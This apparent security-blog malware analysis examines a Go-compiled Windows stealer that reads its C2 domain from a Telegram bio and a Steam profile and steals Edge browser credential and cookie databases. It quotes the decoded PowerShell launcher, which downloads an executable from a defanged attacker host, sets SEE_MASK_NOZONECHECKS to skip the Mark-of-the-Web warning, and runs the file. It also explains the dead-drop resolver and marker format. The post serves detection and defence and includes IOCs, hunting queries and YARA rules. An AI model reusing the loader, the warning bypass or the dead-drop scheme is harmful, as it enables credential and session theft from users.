Kovraxis: A Go Stealer That Reads Its C2 Address Off a Steam Profile
A Go-compiled Windows stealer hides its C2 address entirely, then reads it live from a Telegram channel bio and a Steam profile.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
A hidden PowerShell one-liner drops a Go-compiled Windows implant that hides its C2 address from static analysis entirely - no domain, no IP, nothing in the strings. Instead it polls a throwaway Telegram channel bio and a Steam profile for a marked string, decodes a real C2 domain out of it (currently
bkv.ambiltogel[.]net), then force-opens a hidden Edge window to harvest Login Data, Cookies, History and Web Data from the browser profile.If this is your fleet, do these first:
- Block outbound to
kovraxis[.]com,bkv.ambiltogel[.]netandkijangturbo88[.]top- Alert on any process environment block containing
SEE_MASK_NOZONECHECKS=1- rare, high-signal- Hunt for a non-browser process writing
Login Data/Cookies/Web Data/History-shaped SQLite files under a randomly-named%LOCALAPPDATA%\Temp\subfolderFull IOCs and YARA rules are at the bottom.
The most interesting artifact wasn’t in the binary
Another day, another ClickFix. This one got stopped at execution - blocked before it could do damage. But a blocked execution starts an investigation for me, it doesn’t end one: something wanted to run PowerShell here, and I wanted to know what it was trying to do. I’m seeing more of this ClickFix-into-stealer pattern lately.
I started the way I usually do: statically. And got nowhere - the Go implant on the other end links a full HTTP/TLS/JSON stack but carries no trace of a C2 domain or IP anywhere in its strings. Not encrypted, not encoded, not hidden - just not there. Usually that’s where the trail goes cold in a report.
So I switched to dynamic: fired up feintnet, my own DNS-spoofing, TLS-intercepting lab tool, and detonated the sample live. That’s where the payoff was - the implant doesn’t hardcode a C2 address because it doesn’t need one. It reads one off a public Telegram channel and a Steam profile every time it wants to talk home, and what it does next isn’t what the traffic shape first suggested.
If you’ve ever closed out a triage with “C2 destination: unresolved” and moved on, this is the case that’ll make you want to check one more thing first. Here’s the whole chain, then the parts worth slowing down for.
The attack at a glance
- Execution - a hidden PowerShell one-liner builds a download URL from a split domain string and pulls a 3.4MB Go binary to
%TEMP%\x.exe. - Defense evasion -
SEE_MASK_NOZONECHECKS=1skips the Mark-of-the-Web check that would otherwise trigger a SmartScreen warning. - C2 resolution (dead drop) - no C2 address in the binary. It polls a Telegram channel bio and a Steam profile display name for a marked string and parses the real domain out of it.
- Command and control - connects to the resolved, Cloudflare-fronted domain over its own distinct TLS fingerprint.
- Collection - force-launches a hidden Edge window to initialize a browser profile, then stages Login Data, Cookies, History and Web Data.
- Exfiltration - uploads far more data over the C2 connection than the staged files account for, on a repeating cadence.
How it works
Stage 1 - a launcher that’s barely trying to hide
The PowerShell, decoded, is almost quaint:
1
2
3
4
5
$h = 'kovraxis[.]com'
$f = "$env:TEMP\x.exe"
Invoke-WebRequest 'hxxps://kovraxis[.]com/8845e127.exe' -OutFile $f -UseBasicParsing
$env:SEE_MASK_NOZONECHECKS = 1
& $f
Splitting the domain across two string literals dodges a naive plaintext-domain scan, but both strings sit in cleartext for anyone reading the command line. The line actually worth knowing is SEE_MASK_NOZONECHECKS=1 - a documented ShellExecuteEx flag that suppresses the Attachment Execution Service’s Mark-of-the-Web check. Set it before launching a child and that child runs as if it were always a local file, no “this came from the internet” warning in sight - a legitimate flag that’s also a gift to anyone skipping the one popup that might give a user pause.
Stage 2 - an implant that hides nothing except the one thing that matters
The dropped file is a Go 1.25.4 binary with an import table containing precisely kernel32.dll - normal for Go, which resolves almost everything itself via LoadLibraryW/GetProcAddress at runtime. String extraction shows it links net/http, crypto/tls, crypto/x509 and encoding/json - an HTTPS+JSON C2 client - plus API name strings for local account/share management, logon impersonation, and privilege adjustment. None of those extras fired across three detonations, but they’re carried in the binary and worth hunting for anyway.
I ran every regex I had for URLs, IPs, base64 blobs and hex-encoded keys against the full string dump. Nothing - and it turns out that blank isn’t just about the final C2. That’s the detail that should stop you before you write “no C2 capability found” in a report.
One more thing worth a dry laugh: the PE carries a self-signed Authenticode certificate claiming CN=anthropic.com - zero trust value regardless of the name on it, but a strange bit of theatre for a cert that gains the binary nothing.
Stage 3 - the dead drop
Detonating the sample under feintnet showed the implant beaconing every 2-4 seconds, alternating between two legitimate destinations: a Steam community profile and a Telegram short link. Every beacon carried an identical multipart/form-data body - a host fingerprint and a per-build ID, tagged format: json. Because feintnet spoofed DNS to itself, the implant never got a real answer and just retried forever - exactly the loop you’d expect from something waiting on a page it hasn’t received yet.
Here’s the part Stage 2 leaves hanging: if there’s no C2 in the binary, how does it even know to reach Steam and Telegram? It doesn’t hardcode those either - re-running the same string search once I knew what to look for turned up zero matches for steamcommunity[.]com, telegram[.]me, the profile path, or the hwid/build_id/format field names. Every network string here gets built at runtime, not just the eventual C2. A stdlib-only Go binary with zero plaintext network strings anywhere is a strong tell for compile-time string obfuscation (think garble), not “no C2 capability.”
Checking both pages directly (passive page views only) confirmed it: a 1-subscriber Telegram channel and a Level 0, empty Steam account, each set to one line of text:
1
gw3n9 bkv.ambiltogel[.]net|
Fixed marker, real domain, pipe terminator - on two platforms, so losing one account doesn’t break resolution. It’s a clean, cheap dead-drop resolver: point the implant at infrastructure the operator doesn’t maintain, and rotate C2 by editing a bio field instead of shipping a new build.
Stage 4 - what it actually does once it can talk
A correctly-scoped capture on a later run showed the implant resolving bkv.ambiltogel[.]net and connecting for real, over six TLS connections with a distinct JA3/JA4 fingerprint. Seconds either side of that handshake it spawned a hidden msedge.exe --no-first-run --disable-gpu about:blank, wrote five files (51,200 / 51,200 / 69,632 / 229,376 / 262,144 bytes) into a randomly-named temp subfolder, read them straight back into memory, and deleted all five within about a second.
Sysmon archive recovery identified all five: Microsoft Edge’s own Login Data, Cookies, History and Web Data profile databases - the exact target set of a Chromium credential/data stealer. Every table came back empty: the VM had a fresh Edge profile, and Edge only creates these files on first launch - which is why the implant force-opens a hidden, disabled-GPU Edge window first. Not a decoy window - it’s building the vault it’s about to steal from.
The traffic doesn’t match a “grab the files, ship them” model either: upload outweighed download by 20-60x - 12MB up against 648KB of harvested content. Something else is being uploaded. Without a decrypted capture I can’t say what, but the shape alone is enough to call this active exfiltration, not a one-way module fetch.
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Execution | PowerShell | T1059.001 | Hidden, -ep bypass launcher |
| Defense Evasion | Subvert Trust Controls: Mark-of-the-Web Bypass | T1553.005 | SEE_MASK_NOZONECHECKS=1 before running the dropped EXE |
| Command and Control | Ingress Tool Transfer | T1105 | Downloaded the Go implant over HTTPS |
| Command and Control | Web Service: Dead Drop Resolver | T1102.001 | Read the real C2 domain from a Telegram bio and a Steam display name |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | HTTPS+JSON client to the resolved domain |
| Collection | Credentials from Password Stores: Credentials from Web Browsers | T1555.003 | Staged Edge’s Login Data |
| Collection | Steal Web Session Cookie / Data from Local System | T1539 / T1005 | Staged Edge’s Cookies, History, Web Data (autofill/payment) |
| Discovery / Persistence (carried, not observed executing) | Create Account: Local Account / Account Access Removal | T1136.001 / T1531 | API strings for NetUserAdd/NetUserDel/NetShareAdd present; never exercised across three runs |
Why this matters
Strip away the cleverness and this is a full browser-vault harvester with a C2 channel that’s hard to block: the dead-drop lookups go to Steam and Telegram, which almost nobody blocks, and the C2 domain sits behind Cloudflare, hiding the real origin even once resolved. Against a real browser profile that’s credentials, session tokens and financial data leaving the network in one pass - and the account/share-management API strings it carries but hasn’t used yet could turn “stole some passwords” into “created a persistence foothold”.
I’m not going to guess who’s behind this. The recovered domains follow a naming pattern (ambiltogel, kijangturbo88) common to Indonesian gambling-spam infrastructure - a well-documented, disposable domain ecosystem
- but that’s a pattern in names, not an attribution. Cheap, blend-in infrastructure is what you’d choose if you wanted your traffic to look like noise.
What defenders can do
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| PowerShell launcher (T1059.001) | Constrained Language Mode; block .ps1 execution from user-writable paths via WDAC/AppLocker | Application Control; Securing PowerShell in the Enterprise | Script Block Logging - Event ID 4104; process creation (4688) for powershell.exe -w hidden -ep bypass |
| MOTW/SmartScreen bypass (T1553.005) | Application Control blocking unsigned/unapproved executables makes the MOTW bypass irrelevant - the payload never runs regardless | Application Control | Process creation events where the environment block contains SEE_MASK_NOZONECHECKS=1 - rare enough to be near-zero-noise |
| Dead-drop C2 resolver via Steam/Telegram (T1102.001) | No clean Essential Eight home - category/reputation filtering won’t touch legitimate platforms | n/a - pivot to network architecture and detection | TLS JA3/JA4 fingerprinting independent of destination domain; proxy logs for repeating multipart POSTs carrying hwid/build_id/format fields to social platforms |
| HTTPS C2 to a Cloudflare-fronted domain (T1071.001) | No clean Essential Eight home | n/a - pivot to egress architecture | Flag newly-registered domains (WHOIS creation date under ~12 months) resolving immediately before a long-lived, upload-heavy connection |
| Browser credential/cookie/autofill theft (T1555.003 / T1539 / T1005) | Once code is running as the logged-in user, DPAPI-protected browser storage doesn’t stop it - the load-bearing control is preventing execution in the first place | Application Control; Restricting Administrative Privileges | Any non-browser process creating files named or shaped like Login Data, Cookies, Web Data, History inside a randomly-named %LOCALAPPDATA%\Temp\ subfolder; a hidden msedge.exe --disable-gpu about:blank spawned by a non-Explorer parent |
| Latent local account/share APIs (T1136.001 / T1531) | Least-privilege on account/share creation rights; don’t assume “not observed” means “not capable” | Restricting Administrative Privileges | Event ID 4720 (user created) or 5142 (share created) shortly after a powershell.exe -> unsigned/self-signed .exe chain |
Three of these pairings (MOTW bypass, browser data theft, latent account/share APIs) aren’t literal rows in the canonical lookup table - my own extension of Application Control and Restrict Admin Privileges, not a pre-existing mapping.
PowerShell launcher + MOTW bypass (T1059.001, T1553.005). Constrained Language Mode and blocking .ps1 from user-writable paths via WDAC/AppLocker stops the loader outright - Application Control is the strategy here (see Securing PowerShell in the Enterprise, October 2021). The MOTW bypass needs no separate control: block the payload and the SmartScreen popup is moot. Watch Script Block Logging (Event ID 4104) and any process environment containing SEE_MASK_NOZONECHECKS=1.
Dead-drop C2 + HTTPS beaconing (T1102.001, T1071.001). Neither has a clean Essential Eight home - category filtering won’t touch Steam or Telegram, and Cloudflare fronting defeats simple IP blocking. JA3/JA4 fingerprinting survives domain rotation; flagging newly-registered domains ahead of a long-lived, upload-heavy connection helps. See Strategies to Mitigate Cyber Security Incidents - Mitigation Details (February 2017) for what E8 doesn’t cover.
Browser data theft (T1555.003, T1539, T1005). DPAPI-protected browser storage doesn’t stop code running as the logged-in user - preventing execution is the load-bearing control, via Application Control and Restricting Administrative Privileges (November 2023). Detection is the fallback: alert on a non-browser process creating Login Data/Cookies/Web Data/History-shaped files, or a hidden msedge.exe --disable-gpu about:blank spawned by a non-Explorer parent.
Latent local account/share APIs (T1136.001, T1531). Never fired, but carried - “not observed” isn’t “not capable”. Least-privilege on account/share creation rights bounds the blast radius. Hunt Event ID 4720 (user created) or 5142 (share created) after a powershell.exe -> unsigned .exe chain.
Hunting and detection summary
- Outbound to
kovraxis[.]com,bkv.ambiltogel[.]net,kijangturbo88[.]top, or IPs104.21.88[.]153/172.67.223[.]178 - Process environment block containing
SEE_MASK_NOZONECHECKS=1; file creation of%TEMP%\x.exeor any unsigned.exedropped and run from%TEMP% - A non-browser process writing SQLite-header files shaped like Edge’s
Login Data/Cookies/Web Data/Historyunder a randomly-named%LOCALAPPDATA%\Temp\subfolder, read back and deleted within ~1 second; or a hiddenmsedge.exe --no-first-run --disable-gpu about:blankspawned by a non-Explorer parent - Repeating
multipart/form-dataPOSTs tosteamcommunity[.]com/profiles/*ortelegram[.]me/*carryinghwid/build_id/formatfields - neither legitimate client produces this shape - TLS JA3
8b5744d30eff42f9d3def9992336d0a0/ JA4t12d180800_4b22cbed5bed_7af1ed941c26(dead-drop lookups) and JA3258a5a1e95b8a911872bae9081526644(bulk C2 channel) - survives domain rotation - Any binary self-signed with a Subject/Issuer CN matching a real company domain while failing chain validation - cheap, high-confidence, regardless of which company gets spoofed
- Sysmon Event ID 23 (FileDelete, archiving variant) may still hold the bytes of files this implant thought it deleted
The YARA rules, KQL queries, and full IOC list for this campaign are also available in the companion detection repo.
Indicators of Compromise
Network
| Type | Indicator | Notes |
|---|---|---|
| Domain | kovraxis[.]com | Staging/download host |
| URL | hxxps://kovraxis[.]com/8845e127.exe | Payload download |
| Domain (C2, corrected) | bkv.ambiltogel[.]net | Live C2, SNI-confirmed; supersedes the bare ambiltogel[.]net reading |
| Domain (reserve/failover) | kijangturbo88[.]top | Registered + delegated to Cloudflare; no active DNS records at time of check |
| IP | 104.21.88[.]153 | Cloudflare-fronted; confirmed live connection to the C2 |
| IP | 172.67.223[.]178 | Second Cloudflare A-record for the same C2, resolved by the implant’s own DNS query |
| Dead-drop URL | hxxps://telegram[.]me/r7t3at | 1-subscriber channel; bio hosts the resolver marker |
| Dead-drop URL | hxxps://steamcommunity[.]com/profiles/76561198674661449 | Level 0, empty account; display name hosts the resolver marker |
| IP (Telegram, real) | 149.154.167[.]99 | Genuine Telegram datacenter IP, concurrent with the file-staging activity; purpose unresolved |
Host
| Type | Indicator | Notes |
|---|---|---|
| Dropped file | %TEMP%\x.exe | Hardcoded destination in the launcher |
| Process env flag | SEE_MASK_NOZONECHECKS=1 | MOTW/SmartScreen suppression |
| Staged files | 5x fixed-size files (51,200 / 51,200 / 69,632 / 229,376 / 262,144 bytes) in a randomly-named %LOCALAPPDATA%\Temp\<8-hex>\ folder | Edge Login Data (x2), Cookies, History, Web Data - written, read back, deleted within ~1 second |
| Decoy/staging process | msedge.exe --no-first-run --disable-gpu about:blank | Force-initializes the Edge profile before theft |
| Resolver marker | gw3n9 prefix, \| terminator | Fixed pattern the implant’s parser searches for on the dead-drop pages |
Hashes / build
| Type | Value | Notes |
|---|---|---|
| SHA256 | a3714081253eee3bf9d64e58e6967a66362d02a443c2fa06a337949c69bbc2a1 | Dropped Go implant |
| MD5 | eee4452ba0331cc6c3e960b6ff426aee | Same file |
| Go Build ID | I6DRylj2H9MnFCTS6Ttg/7fKy-qHPhBTyYaVQ8_aA/z86uF5I3lkY4LzclL0QM/2FqBXb2IT_GGG-QL8_Bn | Unique per compilation; pivot if the actor reuses a build pipeline |
| Go module path | EfNHLACDlOuyogU/main.go | Randomized-looking build-obfuscation artifact |
Beacon build_id | 3429037a9d0fee48cfcb7029464941bd | Constant across all observed beacons for this build - direct compromise indicator |
| Fake Authenticode signer | CN=anthropic.com,O=mkbmL63p,L=a9SYM,ST=O87TPHy,C=US | Self-signed, zero trust value; notable identity-spoof artifact |
Detection rules
rule Kovraxis_PowerShell_Downloader
{
meta:
description = "PowerShell downloader: string-split domain, SEE_MASK_NOZONECHECKS MOTW bypass, drops and runs a fetched EXE"
author = "blueteam.cool"
date = "2026-07-16"
strings:
$a = "SEE_MASK_NOZONECHECKS" ascii wide
$b = "Invoke-WebRequest" ascii wide
$c = "-UseBasicParsing" ascii wide
$d = "kovraxis" ascii wide nocase
condition:
2 of ($a,$b,$c) or $d
}
rule Kovraxis_Go_Implant_8845e127
{
meta:
description = "Go-compiled Windows implant dropped by the kovraxis[.]com PowerShell downloader; stdlib-only HTTP/TLS/JSON + local account/share management API strings"
author = "blueteam.cool"
date = "2026-07-16"
hash_sha256 = "a3714081253eee3bf9d64e58e6967a66362d02a443c2fa06a337949c69bbc2a1"
strings:
$buildid = "EfNHLACDlOuyogU/main.go" ascii
$api1 = "NetUserAdd" ascii
$api2 = "NetShareAdd" ascii
$api3 = "RevertToSelf" ascii
$cert = "anthropic.com" ascii wide
$go = "go1.25.4" ascii
condition:
uint16(0) == 0x5A4D and 3 of them
}
Closing
“No C2 address found in the binary” wasn’t a dead end here - it was the whole point. This was also a solid test of feintnet doing exactly what I built it for: spoof the DNS, intercept the TLS, watch where something is actually trying to go - and it worked. With how often this ClickFix-into-stealer pattern is turning up lately, a fast answer to “where does this reach out to” is going to keep paying off. Reading a C2 domain off a Steam profile and a Telegram bio makes your infrastructure look like noise, and I’ve got a soft spot for attackers who abuse cheap, legitimate plumbing instead of building their own. Stealing an empty browser vault because I never bothered to seed the lab VM with fake logins first is exactly the kind of anticlimax that makes this job fun. Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK: T1059.001, T1553.005, T1105, T1102.001, T1071.001, T1555.003, T1539, T1005, T1136.001, T1531
- ASD/ACSC: Implementing Application Control (November 2023), Restricting Administrative Privileges (November 2023), Securing PowerShell in the Enterprise (October 2021), Strategies to Mitigate Cyber Security Incidents - Mitigation Details (February 2017) - see the Essential Eight overview for current versions of each